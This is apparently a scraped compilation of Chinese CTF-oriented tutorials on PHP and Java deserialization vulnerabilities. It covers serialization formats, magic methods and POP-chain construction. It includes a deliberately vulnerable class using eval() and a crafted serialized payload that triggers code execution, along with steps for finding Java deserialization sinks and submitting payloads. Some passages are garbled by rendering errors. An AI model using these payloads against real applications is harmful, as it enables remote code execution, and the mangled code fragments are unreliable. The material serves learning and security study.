-
2022-03-18 10:24:22
关于反序列化,我更多的只是针对php和Java,把原理看懂了点,后面还会对反序列化进行详细总结
1.什么是序列化和反序列化?
序列化即将对象转化为字节流,便于保存在文件,内存,数据库中;反序列化即将字节流转化为对象
也就是把数据转化为一种可逆的数据结构,再把这种可逆的数据结构转化回数据,这就是序列化与反序列化用途:
1) 把对象的字节序列永久地保存到硬盘上,通常存放在一个文件中;
2) 在网络上传送对象的字节序列。php反序列化:
序列化的函数:string serialize ( mixed $value )
当调用serialize()函数序列化对象时,该函数会检查类中是否存在一个魔术方法__sleep()。
如果存在,该方法会先被调用,然后才执行序列化操作。可以通过重载这个方法,从而自定义序列化行为。
该方法原型如下:
public array __sleep ( void )
该方法返回一个包含对象中所有应被序列化的变量名称的数组
该方法未返回任何内容,则 NULL 被序列化,并产生一个E_NOTICE级别的错误
__sleep()不能返回父类的私有成员的名字。这样做会产生一个E_NOTICE级别的错误。这时只能用Serializable接口来替代。
常用于保存那些大对象时的清理工作,避免保存过多冗余数据**反序列化的函数:mixed unserialize ( string KaTeX parse error: Expected group after '_' at position 179: …之后,PHP会自动地试图去调用_̲_wakeup()成员函数(如…this->username的值不为空
反序列化时,会尽量将变量值进行匹配并复制给序列化后的对象php的魔法函数:
_construct() 当一个对象被创建时调用
_destruct() 当一个对象被销毁时调用
_toString() 当一个对象被当作一个字符串使用
_sleep() 在对象再别序列化之前运行
_wakeup() 将在序列化之后调用对象注入
<?php class A{ var $test = "demo"; function __destruct(){ echo $this->test; } } $a = $_GET['test']; $a_unser = unserialize($a); ?>
当用户的请求在传给反序列化函数unserialize()之前没有被正确的过滤时就会产生漏洞。
因为PHP允许对象序列化,攻击者就可以提交特定的序列化的字符串给一个具有该漏洞的unserialize函数,最终导致一个在该应用范围内的任意PHP对象注入。
对象漏洞出现得满足两个前提:
一、unserialize的参数可控。
二、 代码里有定义一个含有魔术方法的类,并且该方法里出现一些使用类成员变量作为参数的存在安全问题的函数。
例子:比如这个列子,直接是用户生成的内容传递给unserialize()函数,那就可以构造这样的语句
?test=O:1:“A”:1:{s:4:“test”;s:5:“lemon”;}
在脚本运行结束后便会调用_destruct函数,同时会覆盖test变量输出lemon。java反序列化:
Java中的API实现:
位置: Java.io.ObjectOutputStream java.io.ObjectInputStream
序列化: ObjectOutputStream类 --> writeObject()
注:该方法对参数指定的obj对象进行序列化,把字节序列写到一个目标输出流中
按Java的标准约定是给文件一个.ser扩展名
反序列化: ObjectInputStream类 --> readObject()
注:该方法从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回。1****.漏洞触发场景****
在java编写的web应用与web服务器间java通常会发送大量的序列化对象例如以下场景:
1)HTTP请求中的参数,cookies以及Parameters。
2)RMI协议,被广泛使用的RMI协议完全基于序列化
4)JMX 同样用于处理序列化对象
5)自定义协议 用来接收与发送原始的java对象- 漏洞挖掘
(1)确定反序列化输入点
首先应找出readObject方法调用,在找到之后进行下一步的注入操作。一般可以通过以下方法进行查找:
1)源码审计:寻找可以利用的“靶点”,即确定调用反序列化函数readObject的调用地点。
2)对该应用进行网络行为抓包,寻找序列化数据,如wireshark,tcpdump等
注: java序列化的数据一般会以标记(ac ed 00 05)开头,base64编码后的特征为rO0AB。
(2)再考察应用的Class Path中是否包含Apache Commons Collections库
(3)生成反序列化的payload
(4)提交我们的payload数据
如何发现java反序列化漏洞
通过检索源码中对反序列化函数的调用来静态寻找反序列化的输入点
可以搜索以下函数:
ObjectInputStream.readObject
ObjectInputStream.readUnshared
XMLDecoder.readObject
Yaml.load
XStream.fromXML
ObjectMapper.readValue
JSON.parseObject在实战过程中,我们可以通过抓包来检测请求中可能存在的序列化数据。
序列化数据通常以AC ED开始,之后的两个字节是版本号,版本号一般是00 05但在某些情况下可能是更高的数字。更多相关内容 - 漏洞挖掘
-
详解php反序列化
2020-12-17 11:35:49最近也是在复习之前学过的内容,感觉对PHP反序列化的理解更加深了,所以在此总结一下 2 serialize()函数 “所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。序列化一个对象将会... -
浅析PHP反序列化中过滤函数使用不当导致的对象注入问题
2020-12-20 06:19:06#### 正常的反序列化语句是这样的 $a=’a:2:{s:8:”username”;s:7:”dimpl3s”;s:8:”password”;s:6:”abcdef”;}’; 但是如果写成这样 $b=’a:2:{s:8:”username”;s:7:”dimpl3s”;s:8:”password”;s:6:”... -
PHP反序列化
2021-07-02 16:53:03序列化和反序列化 1. 序列化(serialize):是将变量或对象转换成字符串的过程。从而达到传输和存储的目的。 class S { public $test=“pikachu”; } s=newS();//创建一个对象serialize(s=new S...一.序列化和反序列化
1. 序列化(serialize):是将变量或对象转换成字符串的过程。从而达到传输和存储的目的。
class S
{
public $test=“pikachu”;
}
s = n e w S ( ) ; / / 创 建 一 个 对 象 s e r i a l i z e ( s=new S(); //创建一个对象 serialize( s=newS();//创建一个对象serialize(s); //把这个对象进行序列化序列化后得到的结果是这个样子的:O:1:“S”:1:{s:4:“test”;s:7:“pikachu”;}
O:代表object
1:代表类名字长度
S:对象的名称
1:代表对象里面有一个变量
s:数据类型
4:变量名称的长度
test:变量名称
s:数据类型
7:变量值的长度
pikachu:变量值
2.反序列化(unserialize):是将字符串转换成变量或对象的过程。以便被代码处理。
二.魔法函数:
_construct():创建对象时初始化,不会自动调用
_destruction():结束时销毁对象
_toString():对象被当作字符串时使用
_sleep():序列化对象之前调用
_wakeup():执行unserialize()时,先会调用这个函数,然后再进行反序列化
_call():调用对象不存在时使用
_get():调用私有属性时使用三.漏洞分析
1.用它自己提供的:
2.当反序列化payload为:
时,会弹出cookie值
tips:__construct()这个函数虽然在对象创建时会被调用,但反序列化(unserialize())的时候并不会被调用。
-
反序列化学习之PHP反序列化&POP链构造
2021-10-21 14:19:26反序列化学习(一) 前言 反序列化漏洞的学习贯穿了我的整个网安学习过程,从刚开始参加纳新考核到现在,反序列化的题目一直是难题,挡在学习的路上。 这次刷完了ctfshow的反序列化漏洞的相关题目,打算借这次...反序列化学习(一)
前言
反序列化漏洞的学习贯穿了我的整个网安学习过程,从刚开始参加纳新考核到现在,反序列化的题目一直是难题,挡在学习的路上。
这次刷完了ctfshow的反序列化漏洞的相关题目,打算借这次机会重新总结一遍反序列化漏洞的相关知识。
反序列化漏洞的种类非常的多,在很多语言环境下你都会发现序列化储存信息的方式,所以反序列化漏洞也出现在了各种情况下。
总结一下:
-
PHP反序列化漏洞
-
session反序列化
-
Phar反序列化漏洞
-
Python反序列化漏洞
-
.net 反序列化漏洞
-
其他
其实我对序列化漏洞的学习也仅仅处于一知半解的程度,在这里也只是想借总结的形式发现自己的不足,完成一下之前刷题的时候偷懒没有完成的复现,如果出现不恰当、错误的地方,希望各位大佬指正。
序列化和反序列化
几乎每一篇反序列化漏洞的讲解都是从这里开始的,我这里当然也不能例外,但是我想在这里添加一部分的面向对象编程的内容。
通过JSON理解序列化与反序列化
JSON(JavaScript Object Notation) 是一种轻量级的数据交换格式。JSON采用完全独立于语言的文本格式,这些特性使JSON成为理想的数据交换语言。易于人阅读和编写,同时也易于机器解析和生成。
我们可以通过这样的简单代码生成JSON:
<?PHP $arr = array("First"=>"WHOAMI","Second"=>"bigcat","Third"=>"sp4c1ous"); echo json_encode($arr); ?>
我们可以很容易的发现,这里其实是一个二维的数组,但是当我们通过JSON加密之后,它就变成了下面这个样子:
它变成了一串由
{}
包裹的字符串,通过:
维持一一对应的关系,是一个 "名称 / 值对" 的表现形式。这样的格式不仅易于在函数间传输(就像是我们平时的压缩文件),而且具有较高的可读性。那么这种将原本的数据通过某种手段进行“压缩”,并且按照一定的格式存储的过程就可以称之为序列化。
PHP中的序列化
PHP 支持通过
serialize()
函数将对象序列化为字符串保存下来,然后在需要的时候再通过unserialize()
函数将对应字符串反序列化为对象。为什么需要这样呢?
我们把一个实例化的对象长久地存储在了计算机的磁盘上,无论什么时候调用都能恢复原来的样子,这其实是为了解决 PHP 对象传递的一个问题,因为 PHP 文件在执行结束以后就会将对象销毁,那么如果下次有一个页面恰好要用到刚刚销毁的对象就会束手无策,总不能你永远不让它销毁,等着你吧,于是人们就想出了一种能长久保存对象的方法,这就是 PHP 的序列化。
这里就涉及到面向对象编程的一些内容了。
PHP 5 完全重写了对象模型,从而使得自 PHP 5 开始,PHP 具备了完整的面向对象编程能力。面向对象编程(即 Object Oriented Programming,简称 OOP)是一种计算机编程架构,和基于函数构建程序(也被称作函数式编程)不同,面向对象编程的思想是在程序中包含各种独立而又相互调用的对象,每一个对象都应该能够接受数据、处理数据(通常通过对象方法实现)并将数据传达给其它对象,当我们下达指令时,不再是调用函数,而是指定对象的方法。因此,在面向对象编程中,对象是程序的基本单元,一个对象包含了数据和操作数据的函数。
面向对象编程中最核心的概念就是类(Class)和对象(Object),类是对象的抽象模板,而对象是类的具体实例,比如「Laravel 精品课」是一个课程,那么课程就是一个类,而「Laravel 精品课」是这个类的一个实例对象,对象包含的数据称之为类属性(Property),操作数据的函数称之为类方法(Method),还有相关的访问控制,而这些内容在PHP中找到的容身之所,就是序列化。
写一个简单的示例:
<?PHP class Car { const WHEELS = 4; // 汽车都是4个轮子 var $seats; // 座位 var $doors; // 门 var $engine; // 发动机 var $brand; // 品牌 public function getBrand() { return $this->brand; } public function setBrand($brand): void { $this->brand = $brand; } public function drive() { echo "1.启动引擎..." . PHP_EOL; echo "2.挂D档..." . PHP_EOL; echo "3.放下手刹..." . PHP_EOL; echo "4.踩油门,出发..." . PHP_EOL; } public function close() { echo "1.踩刹车..." . PHP_EOL; echo "2.挂P档..." . PHP_EOL; echo "3.拉起手刹..." . PHP_EOL; echo "4.关闭引擎..." . PHP_EOL; } } $car = new Car(); var_dump(Car::WHEELS); $car->seats = 5; var_dump($car->seats); $car->setBrand("奔驰"); var_dump($car->getBrand()); $car->drive(); $car->close(); $a = serialize($car); echo $a; ?> //O:3:"Car":4:{s:5:"seats";i:5;s:5:"doors";N;s:6:"engine";N;s:5:"brand";s:6:"奔驰";}
类通过关键字
class
进行声明,然后紧跟着类名Car
,通常我们通过首字母大写来定义类名,然后另起一行,通过一对花括号定义类的具体属性和方法。这里我们通过
var
来定义变量属性,通过const
来定义常量属性,由于汽车都是4个轮子,所以我们通过常量WHEELS
来定义(大写、无$
前缀),而座位数、门、发动机、品牌都是可变的,所以通过变量进行定义。有了属性之后,可以通过方法进行设置和获取,即上面的set和get。
除此之外,还可以编写其他自定义方法,比如汽车的最基本功能 —— 开车,我们为此定义一个
drive
方法,再来一个熄火方法close
。有了这些基本的类属性和方法后,就可以基于这个类创建具体的对象并调用对象方法执行任务了,我们通常将基于类创建对象的过程称之为实例化,在 PHP 中,我们通过
new
关键字进行类的实例化,$car = new Car();
然后就可以操作类属性或者调用类方法了,类常量值不可更改,只能访问,在类外面访问类常量,需要通过类名 +
::
+ 常量名的方式:var_dump(Car::WHEELS);
由于常量是类级别的,无需实例化即可访问。而对于对象级别的类属性(变量类型),需要通过实例化后的对象才能访问,并且访问之前,需要先设置:
$car->seats = 5; var_dump($car->seats);
当然,如果提供了 Setters/Getters 方法,可以通过这些方法进行设置/获取,从而屏蔽实现细节:
$car->setBrand("奔驰"); var_dump($car->getBrand());
要访问类方法,直接通过对象实例 +
->
+ 方法名即可:$car->drive(); $car->close();
可以看到,在 PHP 中,对象级别的属性和方法,都是通过箭头符
->
进行访问的。上述所有代码的打印结果如下:
上面这些最基础的方法和属性的调用,是将来在反序列化题目中极为常见的,一开始的我什么都看不明白,只能跟着writeup瞎猜,现在想想,只有学了一定的面向对象编程,才能让我们对反序列化漏洞的认识清晰一点。
那么现在我们可以序列化 然后
echo
输出一下看一下结果。里面的字母和数字详解:
字母:a - array b - boolean d - double i - integer o - common object r - reference s - string C - custom object O - class N - null R - pointer reference U - unicode string
数字:可以读出来,O后数字 "3" 是Car的字符数,再之后 "4" 是序列化中包含的属性数,后面 "s" 的也为字符数 "i" 后的是int整形数字。
可以看到输出的是Car类中有四对
属性/值
,其中seats = 5
是我们设置的,所以其后跟了i:5
,中间的两个属性由于没有设置相应的值所以都为NULL
,最后是 奔驰brand 。可以发现,我们原来定义的不止这些,还有我们的类方法,甚至那个常量(这里也是我没看到过的...), 都没有在序列化后的结果中输出
我们可以据此得到一个很重要的性质: 序列化他只序列化属性,不序列化方法
这个性质就引出了两个非常重要的话题:
1. 我们在反序列化的时候一定要保证在当前的作用域环境下有该类存在
这里不得不扯出反序列化的问题,这里先简单说一下,反序列化就是将我们压缩格式化的对象还原成初始状态的过程(可以认为是解压缩的过程),因为我们没有序列化方法,因此在反序列化以后我们如果想正常使用这个对象的话我们必须要依托于这个类要在当前作用域存在的条件。
2. 我们在反序列化攻击的时候也就是依托类属性进行攻击
因为没有序列化方法嘛,我们能控制的只有类的属性,因此类属性就是我们唯一的攻击入口,在我们的攻击流程中,我们就是要寻找合适的能被我们控制的属性,然后利用它本身的存在的方法,在基于属性被控制的情况下发动我们的发序列化攻击(这是我们攻击的核心思想,这里先借此机会抛出来,大家有一个印象)
我们还需要格外关注一个小知识点 ↓
访问控制在序列化中的输出
PHP 通过
public
(公开)、protected
(保护)、private
(私有)关键字控制类属性和方法的可见性:-
对于通过
public
声明的属性和方法,在类以外和继承类中均可见; -
对于通过
protected
声明的属性和方法,仅在继承类(支持多个层级)中可见,在类以外不可见; -
对于通过
private
声明的属性和方法,仅在当前类内部可见,在继承类和类之外不可见。
这也是面向对象编程的内容,与类的继承有关,继承在这里可能写不到了,需要自己去学习。
我们之前通过
var
声明类属性,这是比较老的用法,是为了向后兼容 PHP 4,在 PHP 5 中,通过var
声明的属性和方法统统被视作public
除此之外还有protected
和private
,它们的输出结果都存在一定的差异。序列化是要输出属性的,那这三种不同类别的属性它当然也要区分得开~
写一段测试代码
<?PHP class Test { public $public = 'sp4c1ous'; protected $protected = 'sp4c1ous'; private $private = 'sp4c1ous'; } $test = new Test(); $a = serialize($test); echo $a; ?>
输出结果是这样的:
我们来依次解析一下:
-
public 这种是最简单的,什么都不存在,直接将结果
s:6:"public";s:8:"sp4c1ous"
输出。 -
protected 这种方式的输出结果中,在属性名处是存在一个
%00*%00
结构的,所以输出结果为s:12:"%00*%00protected";s:8:"sp4c1ous"
%00即NULL占用了一个字符 -
private 这里的属性名处存在一个
%00Test%00
,也算是好理解,因为是内部可见所以对类进行了一个标明,输出为s:13:"%00Test%00private";s:8:"sp4c1ous"
这里直接看是看不出来的,可以
var_dump
或者保存下输出结果来用hexdump
查看。我们后续的攻击中,像是反序列化字符逃逸,对于字符的要求非常严格,如果把握不好字符数是很容易出错的,这里作为PHP序列化的一个补充知识点。
PHP中的反序列化
刚才已经提过了,PHP中的反序列化就是通过
unserialize
函数把经过serialize
序列化后的结果 "复原" 。但是通过前文我们已经知道了,序列化之序列化了属性,所以反序列化也只会把序列化中的属性反序列化 。
写个例子反序列化一下刚刚的car吧 在最后写个这(竟然echo不出来...):
$a = serialize($car); $b = unserialize($a); print_r($b);
可以看到就是我们可以在序列化中读出来的几个属性和值。
那么如果我们更改了序列化中的属性,输出的结果不就改变了么~
被拿下了真实的操作中不会这么的轻易,需要分析魔术方法进行POP链构造等一系列的工作,但是从本质上看,我们就是在控制它的属性,和这里无异。
PHP反序列化漏洞
1.概念解释:
PHP 反序列化漏洞又叫做 PHP 对象注入漏洞,我觉得这个表达很不直白,也不能说明根本的问题,不如我们叫他 PHP 对象的属性篡改漏洞好了~
反序列化漏洞的成因在于代码中的
unserialize()
接收的参数可控,从上面的例子看,这个函数的参数是一个序列化的对象,而序列化的对象只含有对象的属性,那我们就要利用对对象属性的篡改实现最终的攻击。2.魔术方法 ※
重点来了:
PHP: 魔术方法 - Manual 这是PHP手册中对魔术方法的解释。
-
__construct()
被称为构造方法,也就是在创造一个对象时候,首先会去执行的一个方法,通常用于赋值等,我们很少利用这个方法。 -
__destruct()
被称为析构方法,也叫销毁方法,析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。这是我们反序列化漏洞利用时非常重要的一个方法。<?php class MyDestructableClass { function __construct() { print "In constructor\n"; } function __destruct() { print "Destroying " . __CLASS__ . "\n"; } } $obj = new MyDestructableClass();
-
__set()
__get()
__isset()
__unset()
四个方法为属性重载。我们写一个验证的代码
class test { private $flag = ''; # 用于保存重载的数据 private $data = array(); public $filename = ''; public $content = ''; function __construct($filename, $content) { $this->filename = $filename; $this->content = $content; echo 'construct function in test class'; echo "<br>"; } function __destruct() { echo 'destruct function in test class'; echo "<br>"; } function __set($key, $value) { echo 'set function in test class'; echo "<br>"; $this->data[$key] = $value; } function __get($key) { echo 'get function in test class'; echo "<br>"; if (array_key_exists($key, $this->data)) { return $this->data[$key]; } else { return null; } } function __isset($key) { echo 'isset function in test class'; echo "<br>"; return isset($this->data[$key]); } function __unset($key) { echo 'unset function in test class'; echo "<br>"; unset($this->data[$key]); } public function set_flag($flag) { $this->flag = $flag; } public function get_flag() { return $this->flag; } }
$a = new test('test.txt', 'data');
__set() 被调用
$a->var = 1;
__get() 被调用
echo $a->var;
__isset() 被调用
var_dump(isset($a->var));
__unset() 被调用
unset($a->var);
var_dump(isset($a->var));
echo "\n";
输出结果为:  主要还是好好读读文档,这一部分再题目中其实也不太常用。 4. `__call()` `__callStatic()`和上面类似,为方法重载  类似以上介绍过的`__set()`和`__get()`,刚刚是访问不存在或者不可访问属性时候进行的调用。现在是访问不存在或者不可访问的方法时候,就不放那么多代码占空了。 5. `__sleep()` `__wakeup()` 这里是对于反序列化漏洞利用非常重要的两个方法  ```php <? class test { private $flag = ''; # 用于保存重载的数据 private $data = array(); public $filename = ''; public $content = ''; function __construct($filename, $content) { $this->filename = $filename; $this->content = $content; echo 'construct function in test class'; echo "<br>"; } function __destruct() { echo 'destruct function in test class'; echo "<br>"; } # 反序列化时候触发 function __wakeup() { // file_put_contents($this->filename, $this->data); echo 'wakeup function in test class'; echo "<br>"; } # 一般情况用在序列化操作时候,用于保留数据 function __sleep() { echo 'sleep function in test class'; echo "<br>"; return array('flag', 'filename', 'data'); } public function set_flag($flag) { $this->flag = $flag; } public function get_flag() { return $this->flag; } } $key = serialize(new test('test.txt', 'test')); var_dump($key); $b = unserialize($key); print_r($b);
返回结果如下,可以看到是先
__sleep
后__wakeup
,因为肯定是先序列化再反序列化的嘛,还是很好理解的。-
__toString()
方法 也是非常重要的一个魔术方法看文档挺简单的,但是这里是个例如啊,
__toString()
可以说是利用方式最多的魔术方法。-
echo (
$obj
) / print($obj
) 打印时会触发 -
反序列化对象与字符串连接时
-
反序列化对象参与格式化字符串时
-
反序列化对象与字符串进行
==
比较时(PHP进行==
比较的时候会转换参数类型) -
反序列化对象参与格式化SQL语句,绑定参数时
-
反序列化对象在经过
php字符串函数
,如strlen()
、addslashes()
时 -
在
in_array()
方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用 -
反序列化的对象作为
class_exists()
的参数的时候
-
3.为什么要提到这些魔法方法?
在我们的攻击中,反序列化函数
unserialize()
是我们攻击的入口,也就是说,只要这个参数可控,我们就能传入任何的已经序列化的对象(只要这个类在当前作用域存在我们就可以利用),而不是局限于出现unserialize()
函数的类的对象,如果只能局限于当前类,那我们的攻击面也太狭小了,这个类不调用危险的方法我们就没法发起攻击。但是我们又知道,你反序列化了其他的类对象以后 我们只是控制了是属性,如果你没有在完成反序列化后的代码中调用其他类对象的方法,我们还是束手无策,毕竟代码是人家写的,人家本身就是要反序列化后调用该类的某个安全的方法,你总不能改人家的代码吧,但是没关系,因为我们有魔术方法。
正如上面介绍的,魔术方法的调用是在该类序列化或者反序列化的同时自动完成的,不需要人工干预,这就非常符合我们的想法,因此只要魔术方法中出现了一些我们能利用的函数,我们就能通过反序列化中对其对象属性的操控来实现对这些函数的操控,进而达到我们发动攻击的目的。
4.利用魔术方法的攻击示例
假设有这样一段代码
<?php class sp4c1ous { private $test; public $sp4c1ous = "i am sp4c1ous"; function __construct() { $this->test = new sdpc(); } function __destruct() { $this->test->action(); } } class sdpc { function action() { echo "Welcome to sdpcsec"; } } class Evil { var $test2; function action() { eval($this->test2); } } unserialize($_GET['test']);
让我们先来审计一下这一段代码,这个代码有三个类,分别为sp4c1ous、sdpc、Evil。其中,sdpc是一个简单的echo输出没有被调用,Evil倒是一个恶意的代码执行但是也没有被调用,我们重点来审计一下sdpc这个类。
它有两个魔术方法,第一个
__construct()
,其实我们可以直接跳过对它的分析,毕竟它永远也不会被后面的代码调用,它只不过是我们用来操纵属性的玩物罢了,第二个__destruct()
就它了,用到了一个属性test
,终于有我们可以操控的东西了!里面这里调用了一个action()
方法 sdpc和Evil这两个类里都有action()
方法,但是Evil 这个类中他的action()
函数调用了eval()
。那么思路就是:我们需要将 sp4c1ous 这个类中的
test
属性篡改为 Evil 这个类的对象,然后为了eval
能执行命令,我们还要篡改 Evil 对象的test2
属性,将其改成我们需要的eval
执行的命令 :<?php class sp4c1ous { private $test; function __construct() { $this->test = new Evil; } } class Evil { var $test2 = "phpinfo();"; } $sp4c1ous = new sp4c1ous; $data = serialize($sp4c1ous); //O:8:"sp4c1ous":1:{s:14:"%00sp4c1ous%00test";O:4:"Evil":1:{s:5:"test2";s:10:"phpinfo();";}}
我们去除了一切与我们要篡改的属性无关的内容 传入 就可以看到结果啦
还是要注意一下那里的访问控制,我们生成的payload直接复制是复制不下来
NULL
的通过这个简单的例子总结一下寻找 PHP 反序列化漏洞的方法或者说流程
-
寻找 unserialize() 函数的参数是否有我们的可控点
-
寻找我们的反序列化的目标,重点寻找 存在 wakeup() 或 destruct() 魔法函数的类
-
一层一层地研究该类在魔法方法中使用的属性和属性调用的方法,看看是否有可控的属性能实现在当前调用的过程中触发的
-
找到我们要控制的属性了以后我们就将要用到的代码部分复制下来,然后构造序列化,发起攻击
POP 链的介绍
找POP链 这是 整个反序列化漏洞中,最容易让人产生快感的一个部分,像极了高达、拼图、乐高、魔方... 诸如此类
玩过 pwn 的同学应该对 ROP 并不陌生,ROP 的全称是面向返回编程(Return-Oriented Programing),ROP 链构造中是寻找当前系统环境中或者 内存环境里已经存在的 、具有固定地址且带有返回操作的指令集,将这些本来无害的片段拼接起来,形成一个连续的层层递进的调用链,最终达到我们的执行 libc 中函数或者是 systemcall 的目的
POP 面向属性编程(Property-Oriented Programing) 常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的
说的再具体一点就是 ROP 是通过栈溢出实现控制指令的执行流程,而我们的反序列化是通过控制对象的属性从而实现控制程序的执行流程,进而达成利用本身无害的代码进行有害操作的目的~
实战举例
当然这个案例里面似乎少了比较关键的 unserialize() 函数,那我们就假设这个 unserialize() 在我们的第一张图片的里面,并且参数完全可控
这是看K0rz3n师傅讲PHP序列化的时候他给出的例子,有点老旧了,但是因为比较清晰,所以这里还是选择再尝试自己分析一遍这个链来呈现一下POP链,当然这样给你相应部分和你真正审计起源码包来还是不一样的,想要真的做出题来还是要继续下苦功夫啊。。
思路:
-
寻找 unserialize() 函数的参数是否有我们的可控点
-
寻找我们的反序列化的目标,重点寻找 存在 wakeup() 或 destruct() 魔术方法的类
-
一层一层地研究该类在魔法方法中使用的属性和属性调用的方法,看看是否有可控的属性能实现在当前调用的过程中触发的
开始顺着这个思路打一下。
-
一开始的时候说过我们假设这个 unserialize() 在我们的第一张图片的里面,并且参数完全可控,那么我们就从第一张图片开始分析。
-
第一张图片中有一个
_writers
属性,然后通过遍历_writers
属性给一个$write
赋了值,但是通过$write
能调用shutdown()
方法来看,这个$write
应该是某一个类的实例化对象(不明白这个是什么看上面的面向对象编程哦~),所以我们还需要继续往下挖掘。 -
然后就到了第二张图,我们通过
shutdown()
方法找到了这样的一个子类,代码逻辑很简单,我们重点看一下它调用的属性和方法,首先第一个empty
函数这里调用了_eventsToMail
属性,然后又在第二个if里调用了_subjectPrependText
,然后后面还有_mail
、_layout
、_layoutEventsToMail
,和在第一张图片中一样,我们可以发现,这些由$this
调用出来的属性,包括_mail
、_layout
,在后续也进行了方法的调用,那么我们就要继续重复,我们跟踪这个_layout
调用的render()
方法进入下一个类,_mail理论上也要追下去,但是这里只是一个演示,并没有呈现出来这一块无关的部分。 -
第三张图的这个类里我们看到了
_layout
调用的render()
函数,这个类里有定义三个属性_inflector
、_inflectorEnabled
、_layout
,但是紧接着我们就能发现,在第二个if里_inflector
又调用了一个filter()
方法,我们还要继续往下找这个方法。 -
第四张图就是我们找到的
filter()
方法所在的类,这里也有定义两个属性_matchPattern
、_replacement
,但是到这里,已经没有新的方法的调用了。同时这里有一个preg_replace()
函数!同时它的参数就是当前类里的我们可以控制的属性 接下来我们就可以代码执行了。 -
所以整个链就是:
$writer->shutdown()->render()->filter()->preg_replace(我们控制的属性)->代码执行
这样看起来就很清晰了,环环相扣的感觉也是非常的棒。
到这里这一篇就结束了,后续会补充一些题目的练习(我练习),之后会对PHP反序列化进行一些补充,像是phar、session,然后再进行python反序列化和.net反序列化的学习
参考文章:
一篇文章带你深入理解漏洞之 PHP 反序列化漏洞 | K0rz3n's Blog
-
-
CTF中的PHP反序列化ALL IN ONE
2020-09-01 22:34:38CTF中的PHP反序列化 1.反序列化的基础知识 什么是序列化,反序列化,php反序列化,序列化字符串知识,漏洞产生原因,修复方法 php反序列化漏洞,又叫php对象注入漏洞,是ctf中常见的漏洞。 PHP基础知识 PHP类与对象...CTF中的PHP反序列化
1.反序列化的基础知识
什么是序列化,反序列化,php反序列化,序列化字符串知识,漏洞产生原因,修复方法
php反序列化漏洞,又叫php对象注入漏洞,是ctf中常见的漏洞。
PHP基础知识
PHP类与对象(https://www.php.net/manual/zh/language.oop5.php)
PHP魔术方法(https://secure.php.net/manual/zh/language.oop5.magic.php)
序列化定义
php程序为了保存和转储对象,提供了序列化的方法,php序列化是为了在程序运行的过程中对对象进行转储而产生的。序列化可以将对象转换成字符串,但仅保留对象里的成员变量,不保留函数方法。将php中 对象、类、数组、变量、匿名函数等,转化为字符串,方便保存到数据库或者文件中,而反序列化就是将这个过程倒过来。
php序列化的函数为serialize。反序列化的函数为unserialize。
序列化serialize()
当我们在php中创建了一个对象后,可以通过serialize()把这个对象转变成一个字符串,用于保存对象的值方便之后的传递与使用。测试代码如下;
<?php class Test{ public$a = 'ThisA'; protected$b = 'ThisB'; private$c = 'ThisC'; publicfunction test1(){ return'this is test1 '; } } $test = new Test(); var_dump(serialize($test)); ?>
运行结果:
解释一下:
O代表是对象;:4表示改对象名称有4个字符;:”Test”表示改对象的名称;:3表示改对象里有3个成员。除了O代表对象之外a - array 数组 b - boolean布尔型 d - double双精度型 i - integer o - common object一般对象 r - reference s - string C - custom object 自定义对象 O - class N - null R - pointer reference U - unicode string unicode编码的字符串接着是括号里面的。我们这个类的三个成员变量由于变量前的修饰不同,在序列化出来后显示的也不同。
第一个变量a序列化后为 s:1:”a”;s:5:”ThisA”;由于变量是有变量名和值的。所以序列化需要把这两个都进行转换。序列化后的字符串以分号分割每一个变量的特性。
这个要根据分号来分开看,分号左边的是变量名,分号右边的是变量的值。
先看左边的。其实都是同理的。s表示是字符串,1表示该字符串中只有一个字符,”a”表示该字符串为a。右边的同理可得。
第二个变量和第一个变量有所不同,多了个乱码和 号。这是因为第一个变量a是public属性,而第二个变量b是protected属性,php为了区别这些属性所以进行了一些修饰。这个乱码查了下资料,其实是 %00(url编码,hex也就是0x00)。表示的是NULL。所以protected属性的表示方式是在变量名前加个%00%00
第三个变量的属性是private。表示方式是在变量名前加上%00类名%00
可以看到虽然Test类中有test1这个方法,但是序列化后的字符串中并没有包含这个方法的信息。所以序列化不保存方法。
反序列化unserialize()
<?php class Test{ public$a = 'ThisA'; protected$b = 'ThisB'; private$c = 'ThisC'; publicfunction test1(){ return'this is test1 '; } } $test = new Test(); $sTest = serialize($test); $usTest = unserialize($sTest); var_dump($usTest); ?>
运行结果:
可以看到类的成员变量被还原了,但是类方法没有被还原,因为序列化的时候就没保存方法。
魔术方法
大概了解了php序列化和序列化的过程,那么就来介绍一下相关的魔术方法。
__construct 当一个对象创建时被调用
__destruct 当一个对象销毁时被调用
__toString 当一个对象被当作一个字符串使用
__sleep 在对象被序列化之前运行
__wakeup 在对象被反序列化之后被调用
__invoke() :对象当作函数调用时被调用
__call 调用不存在的方法时
还有很多特殊不常见的方法通过一个例子来说明序列化的过程
<?php classTest{ public function __construct(){ echo 'construct run'; } public function __destruct(){ echo 'destruct run'; } public function __toString(){ echo 'toString run'; } public function __sleep(){ echo 'sleep run'; } public function __wakeup(){ echo 'wakeup run'; } } /**/ echo'new了一个对象,对象被创建,执行__construct</br>'; $test= new Test(); /**/ echo'</br>serialize了一个对象,对象被序列化,先执行__sleep,再序列化</br>'; $sTest= serialize($test); /**/ echo'</br>unserialize了一个序列化字符串,对象被反序列化,先反序列化,再执行__wakeup</br>'; $usTest= unserialize($sTest); /**/ echo'</br>把Test这个对象当做字符串使用了,执行__toString</br>'; $string= 'hello class ' . $test; /**/ echo'</br>程序运行完毕,对象自动销毁,执行__destruct</br>'; ?>
输出:
可以看到有一个警告一个报错,是因为__sleep函数期望能return一个数组,而__toString函数则必须返回一个字符串。由于我们都是echo的没有写return,所以引发了这些报错,那么我们就按照报错的来,要什么加什么。
输出:
现在只需要明白这5个魔法函数的执行顺序即可
反序列化漏洞
由前面可以看出,当传给 unserialize() 的参数可控时,我们可以通过传入一个"精心”构造的序列化字符串,从而控制对象内部的变量甚至是函数。
